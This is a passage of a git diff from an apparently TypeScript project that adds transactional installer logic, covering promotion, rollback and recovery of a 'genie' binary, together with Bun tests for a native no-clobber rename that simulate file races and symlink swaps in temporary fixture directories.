LoadedTransaction, dependencies: InstallPromotionDependencies): void { + const member = memberRecord(transaction.journal, 'genie'); + if (member.prior === null) return; + const priorPath = memberPaths(transaction, 'genie').prior; + const backupPath = priorBinaryBackupPath(transaction); + const prior = identityAt(priorPath); + const backup = identityAt(backupPath); + if (backup === null) return; + if (prior !== null || !sameIdentity(backup, member.prior)) { + throw new InstallPromotionError('prior Genie binary cannot be reclaimed exactly for rollback', { + transactionPath: transaction.root, + }); + } + moveExact( + backupPath, + priorPath, + member.prior, + { + operation: 'reclaim-prior-binary', + member: 'genie', + sourcePath: backupPath, + targetPath: priorPath, + transactionId: transaction.journal.transactionId, + }, + dependencies, + transaction.root, + ); +} + +function restorePrior( + transaction: LoadedTransaction, + member: JournalMember, + dependencies: InstallPromotionDependencies, +): void { + if (member.prior === null) return; + const paths = memberPaths(transaction, member.name); + transitionMember( + transaction, + member, + 'restore-prior', + paths.prior, + paths.live, + member.prior, + 'restored', + dependencies, + ); +} + +function rollbackTransaction(transaction: LoadedTransaction, dependencies: InstallPromotionDependencies): void { + reclaimPriorBinaryBackup(transaction, dependencies); + const quarantined = new Set(); + // Remove the incoming executable before its VERSION stamp. The remaining + // incoming objects are returned in a separate pass so no prior executable + // can become visible while an incoming stamp is still live. + for (const name of rollbackCaptureOrder()) { + const member = memberRecord(transaction.journal, name); + let state = inferMemberState(transaction, member); + if (state === 'published' || state === 'published-drifted') { + returnIncoming(transaction, member, dependencies); + state = inferMemberState(transaction, member); + } + if (state === 'quarantined') quarantined.add(name); + } + + // Restore the prior generation only after every incoming public name has + // been captured. VERSION is restored before `genie`, and `genie` is always + // the final executable boundary. + for (const name of promotionOrder()) { + const member = memberRecord(transaction.journal, name); + if ( + member.prior !== null && + identityAt(memberPaths(transaction, name).live) === null && + sameIdentity(identityAt(memberPaths(transaction, name).prior), member.prior) + ) { + restorePrior(transaction, member, dependencies); + } + const finalState = inferMemberState(transaction, member); + if (finalState === 'quarantined') { + quarantined.add(name); + continue; + } + const restored = member.prior === null ? finalState === 'captured' : finalState === 'initial'; + if (!restored) { + throw new InstallPromotionError(`rollback did not restore exact original state for ${name}`, { + transactionPath: transaction.root, + }); + } + } + if (quarantined.size > 0) { + throw new InstallPromotionError( + `rollback quarantined changed incoming roots away from public paths: ${[...quarantined].join(', ')}`, + { transactionPath: transaction.root }, + ); + } +} + +function terminalOutcome(receipts: readonly InstallPromotionReceipt[]): InstallPromotionOutcome | null { + const last = receipts.at(-1)?.phase; + if (last === 'committed') return 'committed'; + if (last === 'rolledback') return 'rolledback'; + return null; +} + +function ensureHistoryRoot(genieHome: string): string { + const historyRoot = join(genieHome, HISTORY_DIRECTORY); + ensurePhysicalPrivateDirectory(historyRoot, genieHome); + return historyRoot; +} + +function archiveTransaction( + transaction: LoadedTransaction, + outcome: InstallPromotionOutcome, + dependencies: InstallPromotionDependencies, +): string { + validateTransactionStructure(transaction.root); + const historyRoot = ensureHistoryRoot(transaction.journal.genieHome); + const archivePath = join(historyRoot, `${transaction.journal.transactionId}.${outcome}`); + assertNoPath(archivePath, 'install transaction archive'); + const identity = identityAt(transaction.root); + if (identity === null) throw new InstallPromotionError('install transaction disappeared before archival'); + const event: InstallPromotionRenameEvent = { + operation: 'archive-transaction', + member: null, + sourcePath: transaction.root, + targetPath: archivePath, + transactionId: transaction.journal.transactionId, + }; + moveExact(transaction.root, archivePath, identity, event, dependencies, transaction.root); + return archivePath; +} + +function priorBinaryBackupPath(transaction: LoadedTransaction): string { + return join(transaction.journal.liveRoot, '.previous', `genie-prior-${transaction.journal.transactionId}`); +} + +function assertExactPriorNames(transaction: LoadedTransaction, expected: readonly InstallPayloadMember[]): void { + assertExactDirectoryNames(join(transaction.root, 'prior'), expected, 'install transaction prior directory'); +} + +function assertCommittedTerminalState(transaction: LoadedTransaction, backupRequired: boolean): void { + assertSafeOwnedDirectory(transaction.journal.stagingRoot, 'install staging root', 0o700); + assertExactDirectoryNames(transaction.journal.stagingRoot, [], 'committed install staging root'); + const expectedPrior: InstallPayloadMember[] = []; + const backupPath = priorBinaryBackupPath(transaction); + for (const member of transaction.journal.members) { + const paths = memberPaths(transaction, member.name); + if (identityAt(paths.incoming) !== null || !sameIdentity(identityAt(paths.live), member.incoming)) { + throw new InstallPromotionError(`committed transaction has no exact live ${member.name}`, { + transactionPath: transaction.root, + }); + } + if (member.prior === null) { + if (identityAt(paths.prior) !== null) { + throw new InstallPromotionError(`committed transaction has an unexpected prior ${member.name}`); + } + continue; + } + if (member.name !== 'genie') { + if (!sameIdentity(identityAt(paths.prior), member.prior)) { + throw new InstallPromotionError(`committed transaction lost exact prior ${member.name}`); + } + expectedPrior.push(member.name); + continue; + } + const prior = identityAt(paths.prior); + const backup = identityAt(backupPath); + const beforeBackup = sameIdentity(prior, member.prior) && backup === null; + const afterBackup = prior === null && sameIdentity(backup, member.prior); + if ((backupRequired && !afterBackup) || (!backupRequired && !beforeBackup && !afterBackup)) { + throw new InstallPromotionError('committed transaction prior binary shape is not exact', { + transactionPath: transaction.root, + }); + } + if (beforeBackup) expectedPrior.push('genie'); + } + const binaryMember = memberRecord(transaction.journal, 'genie'); + if (binaryMember.prior === null && identityAt(backupPath) !== null) { + throw new InstallPromotionError('committed transaction has an unexpected prior binary backup'); + } + assertExactPriorNames(transaction, expectedPrior); +} + +function assertRolledbackTerminalState(transaction: LoadedTransaction): void { + assertSafeOwnedDirectory(transaction.journal.stagingRoot, 'install staging root', 0o700); + assertExactDirectoryNames( + transaction.journal.stagingRoot, + INSTALL_PAYLOAD_MEMBERS, + 'rolled-back install staging root', + ); + for (const member of transaction.journal.members) { + const paths = memberPaths(transaction, member.name); + const expectedLive = member.prior; + if ( + !sameIdentity(identityAt(paths.incoming), member.incoming) || + (expectedLive === null ? identityAt(paths.live) !== null : !sameIdentity(identityAt(paths.live), expectedLive)) || + identityAt(paths.prior) !== null + ) { + throw new InstallPromotionError(`rolled-back transaction did not restore exact member ${member.name}`, { + transactionPath: transaction.root, + }); + } + } + if (identityAt(priorBinaryBackupPath(transaction)) !== null) { + throw new InstallPromotionError('rolled-back transaction unexpectedly published a prior binary backup'); + } + assertExactPriorNames(transaction, []); +} + +function publishPriorBinaryBackup( + transaction: LoadedTransaction, + dependencies: InstallPromotionDependencies, +): string | undefined { + const member = memberRecord(transaction.journal, 'genie'); + if (member.prior === null) return undefined; + const previousRoot = join(transaction.journal.liveRoot, '.previous'); + ensureCompatiblePreviousDirectory(previousRoot, transaction.journal.liveRoot); + const sourcePath = memberPaths(transaction, 'genie').prior; + const targetPath = priorBinaryBackupPath(transaction); + const source = identityAt(sourcePath); + const target = identityAt(targetPath); + if (sameIdentity(target, member.prior) && source === null) return targetPath; + if (!sameIdentity(source, member.prior) || target !== null) { + throw new InstallPromotionError('prior Genie binary backup is occupied or no longer exact; transaction retained', { + transactionPath: transaction.root, + }); + } + moveExact( + sourcePath, + targetPath, + member.prior, + { + operation: 'publish-prior-binary', + member: 'genie', + sourcePath, + targetPath, + transactionId: transaction.journal.transactionId, + }, + dependencies, + transaction.root, + ); + return targetPath; +} + +function inspectStablePayloadMember(path: string, name: InstallPayloadMember): PhysicalPathIdentity { + const before = identityAt(path); + if (before === null || before.kind !== EXPECTED_MEMBER_KINDS[name]) { + throw new InstallPromotionError(`staged install member ${name} has the wrong physical object kind`); + } + assertSafeOwnedNode(path, false); + const after = identityAt(path); + if (!sameIdentity(after, before)) { + throw new InstallPromotionError(`staged install member ${name} changed during physical validation`); + } + return before; +} + +function verifyPayloadLayout(stagingRoot: string, dependencies: InstallPromotionDependencies): JournalMember[] { + assertSafeOwnedDirectory(stagingRoot, 'install staging root', 0o700); + const actual = readdirSync(stagingRoot).sort(); + if ( + actual.length !== INSTALL_PAYLOAD_MEMBERS.length || + actual.some((name, index) => name !== INSTALL_PAYLOAD_MEMBERS[index]) + ) { + throw new InstallPromotionError('staged install does not match the exact installer member allowlist'); + } + return INSTALL_PAYLOAD_MEMBERS.map((name) => { + const incoming = inspectStablePayloadMember(join(stagingRoot, name), name); + dependencies.afterPayloadMemberInspected?.(name, incoming); + return { name, incoming, prior: null }; + }); +} + +function assertSamePayloadGeneration(before: readonly JournalMember[], after: readonly JournalMember[]): void { + for (const [index, member] of before.entries()) { + const verified = after[index]; + if (verified?.name !== member.name || !sameIdentity(verified.incoming, member.incoming)) { + throw new InstallPromotionError(`staged install member ${member.name} changed during version verification`); + } + } +} + +function verifyVersion( + binaryPath: string, + expectedVersion: string, + phase: 'staged' | 'live', + verifier: PromoteStagedInstallOptions['verifyVersion'], +): void { + if (verifier !== undefined) { + if (verifier({ binaryPath, expectedVersion, phase }) === false) { + throw new InstallPromotionError(`${phase} Genie binary failed caller-supplied version verification`); + } + return; + } + let output: string; + try { + output = execFileSync(binaryPath, ['--version'], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }); + } catch (error) { + throw new InstallPromotionError(`${phase} Genie binary failed to execute for version verification`, { + cause: error, + }); + } + if (versionToken(output) !== expectedVersion) { + throw new InstallPromotionError(`${phase} Genie binary version does not match ${expectedVersion}`); + } +} + +function assertAllPublished(transaction: LoadedTransaction): void { + for (const member of transaction.journal.members) { + if (inferMemberState(transaction, member) !== 'published') { + throw new InstallPromotionError(`install member is not exactly published after verification: ${member.name}`, { + transactionPath: transaction.root, + }); + } + } +} + +function createTransaction( + journal: InstallPromotionJournal, + dependencies: InstallPromotionDependencies, +): LoadedTransaction { + const preparationRoot = join(journal.genieHome, `${PREPARATION_PREFIX}${journal.transactionId}`); + const transactionRoot = join(journal.genieHome, `${TRANSACTION_PREFIX}${journal.transactionId}`); + assertNoPath(preparationRoot, 'install transaction preparation path'); + assertNoPath(transactionRoot, 'install transaction path'); + mkdirExclusive(preparationRoot, journal.genieHome); + mkdirExclusive(join(preparationRoot, 'prior'), preparationRoot); + mkdirExclusive(join(preparationRoot, 'receipts'), preparationRoot); + mkdirExclusive(join(preparationRoot, 'receipt-staging'), preparationRoot); + writeExclusiveDurableFile(join(preparationRoot, JOURNAL_FILE), canonicalJson(canonicalJournal(journal))); + fsyncDirectory(preparationRoot); + const identity = identityAt(preparationRoot); + if (identity === null) throw new InstallPromotionError('prepared install transaction disappeared'); + moveExact( + preparationRoot, + transactionRoot, + identity, + { + operation: 'activate-transaction', + member: null, + sourcePath: preparationRoot, + targetPath: transactionRoot, + transactionId: journal.transactionId, + }, + dependencies, + transactionRoot, + ); + const transaction: LoadedTransaction = { root: transactionRoot, journal, receipts: [] }; + writeReceipt(transaction, 'created', null, dependencies); + return transaction; +} + +function nextTransactionId(dependencies: InstallPromotionDependencies): string { + const value = (dependencies.randomId ?? randomUUID)().toLowerCase(); + if (!TRANSACTION_ID_PATTERN.test(value)) { + throw new InstallPromotionError('transaction id generator returned a non-UUID value'); + } + return value; +} + +function assertPromotionRoots( + genieHomeValue: string, + stagingRootValue: string, +): { genieHome: string; liveRoot: string; stagingRoot: string } { + const genieHome = resolve(genieHomeValue); + const liveRoot = join(genieHome, 'bin'); + const stagingRoot = resolve(stagingRootValue); + assertSafeOwnedDirectory(genieHome, 'GENIE_HOME'); + assertSafeOwnedDirectory(liveRoot, 'GENIE_HOME/bin'); + if ( + stagingRoot !== stagingRootValue || + dirname(stagingRoot) !== liveRoot || + !/^\.install-staging-[A-Za-z0-9._-]+$/.test(basename(stagingRoot)) + ) { + throw new InstallPromotionError( + 'staging root must be an absolute direct .install-staging-* child of GENIE_HOME/bin', + ); + } + assertSafeOwnedDirectory(stagingRoot, 'install staging root', 0o700); + return { genieHome, liveRoot, stagingRoot }; +} + +function pendingTransactionPaths(genieHome: string): string[] { + const paths: string[] = []; + for (const name of readdirSync(genieHome).sort()) { + if (!name.startsWith(TRANSACTION_PREFIX) || name.startsWith(PREPARATION_PREFIX)) continue; + const id = name.slice(TRANSACTION_PREFIX.length); + if (!TRANSACTION_ID_PATTERN.test(id)) { + throw new InstallPromotionError(`GENIE_HOME contains a malformed pending install transaction: ${name}`); + } + paths.push(join(genieHome, name)); + } + return paths; +} + +function recoverOne( + transaction: LoadedTransaction, + dependencies: InstallPromotionDependencies, +): InstallPromotionReport { + if (transaction.receipts.length === 0) writeReceipt(transaction, 'created', null, dependencies); + const activeTerminal = terminalOutcome(transaction.receipts) !== null; + const rollbackAlreadyStarted = transaction.receipts.some((receipt) => receipt.phase === 'rollback-started'); + // Every object under the active transaction root is writable by the same + // account running recovery. Consequently even a grammar-valid terminal + // receipt is evidence, not authorization: all interrupted active roots are + // rollback-only and must be inferred from exact filesystem objects. + if (!activeTerminal && !rollbackAlreadyStarted) writeReceipt(transaction, 'rollback-started', null, dependencies); + rollbackTransaction(transaction, dependencies); + if (!activeTerminal) writeReceipt(transaction, 'rolledback', null, dependencies); + assertRolledbackTerminalState(transaction); + const archivePath = archiveTransaction(transaction, 'rolledback', dependencies); + return { + schemaVersion: 1, + transactionId: transaction.journal.transactionId, + outcome: 'rolledback', + archivePath, + stagingRoot: transaction.journal.stagingRoot, + }; +} + +/** Read-only native capability check suitable for a hidden installer CLI command. */ +export function installPromotionCapability(dependencies: InstallPromotionDependencies = {}) { + const native = nativeNoReplaceCapability(dependencies.nativeRename); + return { + schemaVersion: 1 as const, + platform: native.platform, + available: native.available, + members: [...INSTALL_PAYLOAD_MEMBERS], + }; +} + +/** + * Roll back every active transaction by exact inode identity. Receipt history + * is evidence, never authorization to keep a live generation: even an active + * terminal-looking transaction is rolled back from exact filesystem state. + * Unknown or colliding objects stop recovery and remain untouched. + */ +export function recoverPendingInstallPromotions(options: RecoverInstallPromotionsOptions): InstallPromotionReport[] { + const genieHome = resolve(options.genieHome); + const dependencies = options.dependencies ?? {}; + assertSafeOwnedDirectory(genieHome, 'GENIE_HOME'); + if (!installPromotionCapability(dependencies).available) { + throw new InstallPromotionError('native no-clobber rename capability is unavailable'); + } + const reports: InstallPromotionReport[] = []; + for (const path of pendingTransactionPaths(genieHome)) { + const transaction = loadTransaction(path, genieHome); + try { + reports.push(recoverOne(transaction, dependencies)); + } catch (error) { + if (error instanceof InstallPromotionInterruptedError) throw error; + throw new InstallPromotionError('pending install transaction could not be recovered safely', { + transactionPath: transaction.root, + cause: error, + }); + } + } + return reports; +} + +/** + * Promote one exact release generation into `$GENIE_HOME/bin`. All public + * paths remain physical. Prior objects are moved into a private journal and + * archived after verification; this function never copies or deletes them. + */ +export function promoteStagedInstall(options: PromoteStagedInstallOptions): InstallPromotionReport { + const dependencies = options.dependencies ?? {}; + if (!installPromotionCapability(dependencies).available) { + throw new InstallPromotionError('native no-clobber rename capability is unavailable'); + } + const roots = assertPromotionRoots(options.genieHome, options.stagingRoot); + recoverPendingInstallPromotions({ genieHome: roots.genieHome, dependencies }); + const expectedVersion = canonicalExpectedVersion(options.expectedVersion); + if (expectedVersion === null) { + throw new InstallPromotionError('promotion requires an expectedVersion to authenticate VERSION'); + } + const beforeVerification = verifyPayloadLayout(roots.stagingRoot, dependencies); + verifyPayloadVersionStamp(join(roots.stagingRoot, 'VERSION'), expectedVersion); + verifyVersion(join(roots.stagingRoot, 'genie'), expectedVersion, 'staged', options.verifyVersion); + const verifiedMembers = verifyPayloadLayout(roots.stagingRoot, dependencies); + assertSamePayloadGeneration(beforeVerification, verifiedMembers); + const members = verifiedMembers.map((member) => ({ + ...member, + prior: identityAt(join(roots.liveRoot, member.name)), + })); + const transactionId = nextTransactionId(dependencies); + const journal = canonicalJournal({ + schemaVersion: 1, + transactionId, + expectedVersion, + genieHome: roots.genieHome, + liveRoot: roots.liveRoot, + stagingRoot: roots.stagingRoot, + members, + }); + let transaction: LoadedTransaction | null = null; + try { + transaction = createTransaction(journal, dependencies); + runForward(transaction, dependencies); + verifyVersion(join(roots.liveRoot, 'genie'), expectedVersion, 'live', options.verifyVersion); + assertAllPublished(transaction); + writeReceipt(transaction, 'verified', null, dependencies); + writeReceipt(transaction, 'committed', null, dependencies); + assertCommittedTerminalState(transaction, false); + const priorBinaryPath = publishPriorBinaryBackup(transaction, dependencies); + assertCommittedTerminalState(transaction, true); + const archivePath = archiveTransaction(transaction, 'committed', dependencies); + return { + schemaVersion: 1, + transactionId, + outcome: 'committed', + archivePath, + stagingRoot: roots.stagingRoot, + ...(priorBinaryPath === undefined ? {} : { priorBinaryPath }), + }; + } catch (error) { + if (error instanceof InstallPromotionInterruptedError) throw error; + if (transaction === null) throw error; + const refreshed = loadTransaction(transaction.root, roots.genieHome); + if (terminalOutcome(refreshed.receipts) !== null) { + throw new InstallPromotionError('install reached a terminal decision but archival failed; recovery is pending', { + transactionPath: refreshed.root, + cause: error, + }); + } + try { + writeReceipt(refreshed, 'rollback-started', null, dependencies); + rollbackTransaction(refreshed, dependencies); + writeReceipt(refreshed, 'rolledback', null, dependencies); + assertRolledbackTerminalState(refreshed); + const archivePath = archiveTransaction(refreshed, 'rolledback', dependencies); + throw new InstallPromotionError('install promotion failed and the exact prior generation was restored', { + archivePath, + rolledBack: true, + cause: error, + }); + } catch (rollbackError) { + if (rollbackError instanceof InstallPromotionError && rollbackError.rolledBack) throw rollbackError; + throw new InstallPromotionError( + 'install promotion failed and rollback retained a transaction for safe recovery', + { + transactionPath: refreshed.root, + cause: rollbackError, + }, + ); + } + } +} diff --git a/src/lib/install-transaction.test.ts b/src/lib/install-transaction.test.ts new file mode 100644 index 000000000..a32b2123d --- /dev/null +++ b/src/lib/install-transaction.test.ts @@ -0,0 +1,450 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readlinkSync, + realpathSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { + type NativeNoReplaceDependencies, + NativeNoReplaceUnavailableError, + NoClobberRenameError, + inspectPhysicalPath, + nativeNoReplaceCapability, + parsePhysicalPathIdentity, + renamePathNoClobber, +} from './install-transaction.js'; + +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function fixture(): string { + const root = mkdtempSync(join(tmpdir(), 'genie-native-noreplace-')); + roots.push(root); + return root; +} + +function decode(path: Buffer): string { + return path.subarray(0, -1).toString(); +} + +function injectedNative( + parent: string, + overrides: Partial = {}, +): NativeNoReplaceDependencies { + return { + platform: 'linux', + linuxCandidates: ['fixture-libc'], + linuxOpener: () => (_sourceParentFd, source, _targetParentFd, target) => { + const sourcePath = join(parent, decode(source)); + const targetPath = join(parent, decode(target)); + if (existsSync(targetPath)) return -1; + renameSync(sourcePath, targetPath); + return 0; + }, + ...overrides, + }; +} + +describe('strict native no-clobber transaction primitive', () => { + test('strictly parses exact physical identities and rejects extra or malformed authority', () => { + const root = fixture(); + const path = join(root, 'payload'); + writeFileSync(path, 'payload'); + const identity = inspectPhysicalPath(path); + if (identity === null) throw new Error('identity missing'); + + expect(parsePhysicalPathIdentity(JSON.parse(JSON.stringify(identity)))).toEqual(identity); + expect(() => parsePhysicalPathIdentity({ ...identity, outsidePath: '/tmp/victim' })).toThrow( + 'missing or unknown fields', + ); + expect(() => parsePhysicalPathIdentity({ ...identity, inode: '01' })).toThrow('not a canonical integer'); + expect(() => parsePhysicalPathIdentity({ ...identity, digest: 'not-a-digest' })).toThrow('digest is malformed'); + expect(() => parsePhysicalPathIdentity({ ...identity, kind: ['file'] })).toThrow('schema or kind is unsupported'); + }); + + test('rejects filesystem roots before native setup', () => { + const root = fixture(); + const target = join(root, 'target'); + const expected = inspectPhysicalPath(root); + if (expected === null) throw new Error('root identity missing'); + + expect(() => renamePathNoClobber('/', target, expected)).toThrow('filesystem roots cannot be transaction members'); + }); + + test('moves one exact physical file onto an absent name', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + renamePathNoClobber(source, target, expected, injectedNative(root)); + + expect(existsSync(source)).toBe(false); + expect(readFileSync(target, 'utf8')).toBe('payload'); + expect(inspectPhysicalPath(target)).toEqual(expected); + }); + + test('an occupied target is preserved and the exact source remains retryable', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + writeFileSync(target, 'foreign'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + expect(() => renamePathNoClobber(source, target, expected, injectedNative(root))).toThrow(NoClobberRenameError); + expect(readFileSync(source, 'utf8')).toBe('payload'); + expect(readFileSync(target, 'utf8')).toBe('foreign'); + }); + + test('a target created at the final native boundary is never overwritten', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + expect(() => + renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { beforeInvoke: () => writeFileSync(target, 'boundary-racer') }), + ), + ).toThrow(NoClobberRenameError); + expect(readFileSync(source, 'utf8')).toBe('payload'); + expect(readFileSync(target, 'utf8')).toBe('boundary-racer'); + }); + + test('a same-byte source inode replacement is moved but never mistaken for or deletes the expected object', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + const held = join(root, 'held-expected'); + writeFileSync(source, 'same bytes'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + expect(() => + renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { + beforeInvoke: () => { + renameSync(source, held); + writeFileSync(source, 'same bytes'); + }, + }), + ), + ).toThrow(NoClobberRenameError); + expect(readFileSync(held, 'utf8')).toBe('same bytes'); + expect(readFileSync(target, 'utf8')).toBe('same bytes'); + expect(lstatSync(held).ino).not.toBe(lstatSync(target).ino); + }); + + test('an exception after the native commit reconciles the exact moved inode and never retries', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + let calls = 0; + const dependencies = injectedNative(root, { + linuxOpener: () => (_sourceParentFd, sourceBuffer, _targetParentFd, targetBuffer) => { + calls += 1; + renameSync(join(root, decode(sourceBuffer)), join(root, decode(targetBuffer))); + throw new Error('ffi wrapper failed after commit'); + }, + }); + + renamePathNoClobber(source, target, expected, dependencies); + + expect(calls).toBe(1); + expect(existsSync(source)).toBe(false); + expect(inspectPhysicalPath(target)).toEqual(expected); + }); + + test('a native exception before mutation preserves the source and leaves the target absent', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + const dependencies = injectedNative(root, { + linuxOpener: () => () => { + throw new Error('ffi failed before rename'); + }, + }); + + expect(() => renamePathNoClobber(source, target, expected, dependencies)).toThrow('ffi failed before rename'); + expect(readFileSync(source, 'utf8')).toBe('payload'); + expect(existsSync(target)).toBe(false); + }); + + test('a source name reused after commit is preserved and reported without revoking the commit', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + const result = renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { afterInvoke: () => writeFileSync(source, 'foreign source reuse') }), + ); + + expect(result.committed).toBe(true); + expect(result.sourcePathOccupied).toBe(true); + expect(readFileSync(source, 'utf8')).toBe('foreign source reuse'); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('a non-regular source-name reuse is reported without inspecting or following it', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + const victim = join(root, 'victim'); + writeFileSync(source, 'payload'); + writeFileSync(victim, 'victim bytes'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + const result = renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { afterInvoke: () => symlinkSync(victim, source) }), + ); + + expect(result.committed).toBe(true); + expect(result.sourcePathOccupied).toBe(true); + expect(readlinkSync(source)).toBe(victim); + expect(readFileSync(victim, 'utf8')).toBe('victim bytes'); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('an afterInvoke exception is returned as post-commit evidence, never thrown as an uncommitted outcome', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + const postCommit = new Error('post-native crash seam'); + + const result = renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { + afterInvoke: () => { + throw postCommit; + }, + }), + ); + + expect(result.committed).toBe(true); + expect(result.postInvokeError).toEqual({ name: 'Error', message: 'post-native crash seam' }); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('an unprintable afterInvoke value is serialized without escaping after commit', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + const result = renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { + afterInvoke: () => { + throw { + toString: () => { + throw new Error('cannot stringify'); + }, + }; + }, + }), + ); + + expect(result.committed).toBe(true); + expect(result.postInvokeError).toEqual({ + name: 'Error', + message: 'post-invoke callback threw an unprintable value', + }); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('a held-parent fsync failure is returned as committed but not durable', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + const result = renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { + fsyncDirectoryFd: () => { + throw new Error('directory durability unavailable'); + }, + }), + ); + + expect(result.committed).toBe(true); + expect(result.durable).toBe(false); + expect(result.durabilityErrors).toEqual([ + { parent: 'source', name: 'Error', message: 'directory durability unavailable' }, + ]); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('a non-zero return after the native commit also reconciles without a retry', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + let calls = 0; + const dependencies = injectedNative(root, { + linuxOpener: () => (_sourceParentFd, sourceBuffer, _targetParentFd, targetBuffer) => { + calls += 1; + renameSync(join(root, decode(sourceBuffer)), join(root, decode(targetBuffer))); + return -1; + }, + }); + + renamePathNoClobber(source, target, expected, dependencies); + + expect(calls).toBe(1); + expect(inspectPhysicalPath(target)).toEqual(expected); + }); + + test('moves a complete physical directory and binds every descendant inode and byte', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + mkdirSync(join(source, 'nested'), { recursive: true }); + writeFileSync(join(source, 'nested', 'payload'), 'directory payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + renamePathNoClobber(source, target, expected, injectedNative(root)); + + expect(readFileSync(join(target, 'nested', 'payload'), 'utf8')).toBe('directory payload'); + expect(inspectPhysicalPath(target)).toEqual(expected); + }); + + test('a directory changed after native publication is preserved but never accepted as the committed identity', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + mkdirSync(source); + writeFileSync(join(source, 'payload'), 'original'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + expect(() => + renamePathNoClobber( + source, + target, + expected, + injectedNative(root, { afterInvoke: () => writeFileSync(join(target, 'foreign-child'), 'preserve me') }), + ), + ).toThrow(NoClobberRenameError); + expect(readFileSync(join(target, 'payload'), 'utf8')).toBe('original'); + expect(readFileSync(join(target, 'foreign-child'), 'utf8')).toBe('preserve me'); + }); + + test('moves a symlink as an object without following its target', () => { + const root = fixture(); + const victim = join(root, 'victim'); + const source = join(root, 'source-link'); + const target = join(root, 'target-link'); + writeFileSync(victim, 'victim bytes'); + symlinkSync(victim, source); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + + renamePathNoClobber(source, target, expected, injectedNative(root)); + + expect(readlinkSync(target)).toBe(victim); + expect(readFileSync(victim, 'utf8')).toBe('victim bytes'); + }); + + test('held parent dirfds bind publication when the visible target parent is replaced', () => { + const root = fixture(); + const sourceParent = join(root, 'source-parent'); + const targetParent = join(root, 'target-parent'); + const movedTargetParent = join(root, 'target-parent-held'); + mkdirSync(sourceParent); + mkdirSync(targetParent); + const source = join(sourceParent, 'source'); + const target = join(targetParent, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + expect(nativeNoReplaceCapability().available).toBe(true); + + const result = renamePathNoClobber(source, target, expected, { + beforeInvoke: () => { + renameSync(targetParent, movedTargetParent); + mkdirSync(targetParent); + writeFileSync(join(targetParent, 'foreign'), 'replacement parent bytes'); + }, + }); + + expect(result.committed).toBe(true); + expect(result.parentPathsStable).toBe(false); + expect(result.committedTargetPath).toBe(join(realpathSync(movedTargetParent), 'target')); + expect(readFileSync(result.committedTargetPath, 'utf8')).toBe('payload'); + expect(readFileSync(join(targetParent, 'foreign'), 'utf8')).toBe('replacement parent bytes'); + expect(existsSync(target)).toBe(false); + }); + + test('fails closed when native setup is unavailable', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + const unavailable = injectedNative(root, { linuxOpener: () => null }); + + expect(nativeNoReplaceCapability(unavailable)).toEqual({ schemaVersion: 1, platform: 'linux', available: false }); + expect(() => renamePathNoClobber(source, target, expected, unavailable)).toThrow(NativeNoReplaceUnavailableError); + 